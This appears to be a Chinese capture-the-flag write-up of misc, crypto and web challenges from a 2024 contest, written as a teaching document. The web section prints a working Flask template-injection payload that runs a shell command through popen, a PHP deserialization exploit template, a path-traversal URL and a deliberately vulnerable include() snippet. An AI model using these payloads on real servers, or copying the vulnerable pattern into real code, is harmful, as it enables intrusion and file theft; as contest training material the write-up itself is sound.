2024春秋杯网络安全联赛冬季赛部分wp
字数 1362 2025-08-22 12:23:12
2024春秋杯网络安全联赛冬季赛部分题目解析与教学文档
目录
Misc类题目解析
day1-简单算术
题目类型:异或加密解密
解题步骤:
- 题目提示使用异或加密
- 下载文件得到一个加密字符串
- 编写代码进行单字节密钥爆破解密
- 通过爆破找到正确的密钥并解密出flag
示例代码:
def xor_decrypt(ciphertext, key):
return ''.join(chr(ord(c) ^ key) for c in ciphertext)
ciphertext = "加密字符串" # 替换为实际加密字符串
for key in range(256): # 尝试所有单字节密钥
plaintext = xor_decrypt(ciphertext, key)
if "flag" in plaintext: # 或其它可识别模式
print(f"Key: {key}, Plaintext: {plaintext}")
break
day1-See anything in these pics?
题目类型:二维码识别与隐写分析
解题步骤:
- 附件包含一个二维码图片和一个加密压缩包
- 根据图片名称判断为Aztec码
- 使用在线识别工具(如https://products.aspose.app/barcode/zh-hans/recognize)识别二维码
- 获得解压密码"5FIVE"
- 解压后分析图片隐写,可能需要:
- 使用binwalk等工具分离隐藏文件
- 修复图片宽高获取flag
day2-Weevil's Whisper
题目类型:流量分析
解题步骤:
- 分析提示为流量分析题
- 使用Wireshark等工具分析TCP/HTTP流量
- 追踪TCP流发现关键代码
- 分析数据格式:zlib压缩→异或加密→Base64编码
- 编写脚本逐流尝试解密:
- Base64解码
- 异或解密(需推测密钥)
- zlib解压
示例代码框架:
import zlib
import base64
def process_stream(stream_data):
# Base64解码
decoded = base64.b64decode(stream_data)
# 异或解密(需要确定密钥)
decrypted = bytes(b ^ key for b in decoded)
# zlib解压
decompressed = zlib.decompress(decrypted)
return decompressed
# 对每个TCP流尝试处理
for stream in streams:
result = process_stream(stream)
if b'flag' in result:
print("Found flag:", result)
break
Crypto类题目解析
day1-通往哈希的旅程
题目类型:SHA1哈希爆破
解题步骤:
- 题目提示为40位哈希,判断为SHA1
- 已知前3位字符
- 需要爆破后8位字符
- 编写脚本生成可能的组合并计算SHA1比对
示例代码:
import hashlib
import itertools
known_part = "已知的前3位"
target_hash = "目标SHA1哈希值"
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for length in range(1, 9): # 尝试1-8位长度
for candidate in itertools.product(charset, repeat=length):
test_str = known_part + ''.join(candidate)
sha1 = hashlib.sha1(test_str.encode()).hexdigest()
if sha1 == target_hash:
print("Found:", test_str)
exit()
day3-funny_rsa
题目类型:RSA加密分析
解题步骤:
- 分析初始代码和密文
- 使用最大公约数(GCD)求n
- 建立等式关系爆破p和q
- 解出两组可能的解
- 编写脚本计算flag
关键数学原理:
- 如果n1 = pq,n2 = (p+2)(q+2),则可以通过解方程组求p和q
示例代码:
import math
from Crypto.Util.number import long_to_bytes
n1 = ... # 给定的n1
n2 = ... # 给定的n2
# 解方程组求p和q
# 建立方程: (p+2)(q+2) = n2
# 展开: pq + 2p + 2q + 4 = n2
# 代入pq=n1: n1 + 2(p+q) + 4 = n2
# 所以: p+q = (n2 - n1 -4)/2
sum_pq = (n2 - n1 - 4) // 2
# 解二次方程: x^2 - (p+q)x + pq = 0
a = 1
b = -sum_pq
c = n1
discriminant = b**2 - 4*a*c
sqrt_disc = math.isqrt(discriminant)
p = (-b + sqrt_disc) // (2*a)
q = (-b - sqrt_disc) // (2*a)
# 验证
assert p * q == n1
assert (p+2)*(q+2) == n2
# 计算私钥和解密
phi = (p-1)*(q-1)
e = 65537
d = pow(e, -1, phi)
ciphertext = ... # 给定的密文
plaintext = pow(ciphertext, d, n1)
print("Flag:", long_to_bytes(plaintext))
Web类题目解析
day1-ez_flask
题目类型:SSTI(服务器端模板注入)
解题步骤:
- 题目基于Flask框架,提示SSTI漏洞
- 测试是否存在模板注入:
{{7*7}}等 - 确认注入后,构造payload读取flag
- 利用Python对象链访问危险函数
利用链:
().__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()
最终payload:
/?user={{().__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}
day2-easy_ser
题目类型:PHP反序列化漏洞
解题步骤:
- 环境需要POST传入反序列化data参数
- 审计代码发现过滤了危险函数:
- eval, system, popen, exec, assert等
- 代码将输入转换为16字节一组的十六进制表示
- 需要base64解码一次
- 构造特殊序列化数据利用未过滤的函数
利用方法:
- 找到可利用的类和方法
- 构造序列化字符串
- 转换为16字节一组的十六进制
- Base64编码后通过data参数传入
- 访问track.php触发
示例构造代码:
<?php
class Exploit {
public $payload = "要执行的命令";
}
$exploit = new Exploit();
$serialized = serialize($exploit);
$hex = bin2hex($serialized);
// 分割为16字节一组
$chunks = str_split($hex, 32);
$final = implode(" ", $chunks);
$base64 = base64_encode($final);
echo $base64;
?>
day3-easy_php
题目类型:文件包含/目录遍历
解题步骤:
- 下载并审计PHP代码
- 发现存在目录遍历漏洞
- 直接利用文件读取获取flag
- 无需复杂利用,属于非预期解
利用方法:
直接访问/?file=../../flag.txt 或类似路径
漏洞代码示例:
$file = $_GET['file'];
include($file); // 未做路径过滤
防护建议:
- 对用户输入进行严格过滤
- 使用白名单限制可包含的文件
- 禁用危险函数如include/require的动态调用